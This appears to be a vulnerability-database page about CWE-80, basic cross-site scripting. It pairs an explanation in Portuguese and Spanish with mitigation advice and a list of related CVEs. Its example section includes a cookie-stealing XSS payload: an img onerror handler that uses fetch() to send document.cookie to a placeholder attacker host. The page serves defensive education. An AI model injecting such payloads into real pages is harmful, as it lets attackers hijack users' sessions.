Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2024-34398MEDIUMAn issue was discovered in BMC Remedy Mid Tier 7.6.04. The web application allows stored HTML Injection by authenticated remote attackers.EPSS 0.3%CVE-2025-14186MEDIUMGrandstream GXP1625 Network Status api.values.post cross site scriptingEPSS 0.3%CVE-2025-61583MEDIUMTS3 Manager is vulnerable to unauthenticated reflected XSS attack due to insecure error handlingEPSS 0.3%CVE-2026-7380MEDIUMHTML Injection in Armiya Technologies' Access Control SystemEPSS 0.3%CVE-2025-52897MEDIUMGLPI is vulnerable to XSS and open redirection attacks through planning featureEPSS 0.3%CVE-2026-27458HIGHLinkAce: Stored XSS in Atom Feed via CDATA Escape in List DescriptionEPSS 0.3%CVE-2026-24564MEDIUMWordPress Textmetrics plugin <= 3.6.5 - Content Injection vulnerabilityEPSS 0.3%CVE-2025-32027MEDIUMYii does not prevent XSS in scenarios where fallback error renderer is usedEPSS 0.3%CVE-2026-105829MEDIUMLeague CommonMark 1.3.0 before 2.10.2 Stored XSS via DisallowedRawHtml BypassEPSS 0.3%CVE-2025-66486MEDIUMMultiple vulnerabilities have been addressed in IBM Aspera SharesEPSS 0.3%CVE-2025-55291HIGHShaarli allows reflected XSS via searchtags parameterEPSS 0.2%CVE-2026-42030MEDIUMMapServer: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in OpenLayers viewerEPSS 0.2%CVE-2025-11265MEDIUMVK All in One Expansion Unit <= 9.112.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-11267MEDIUMVK All in One Expansion Unit <= 9.112.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-39629MEDIUMWordPress Uminex theme <= 1.0.9 - Arbitrary Shortcode Execution vulnerabilityEPSS 0.2%CVE-2026-39625MEDIUMWordPress TechOne theme <= 3.0.3 - Arbitrary Shortcode Execution vulnerabilityEPSS 0.2%CVE-2025-4168MEDIUMSubpage List <= 1.3.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-39344HIGHReflected XSS the login page through the 'username' parameterEPSS 0.2%CVE-2026-63216MEDIUMZammad: Stored XSS via unescaped option labels in the object attribute options context UIEPSS 0.2%CVE-2025-22501HIGHWordPress Improve My City plugin <= 1.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%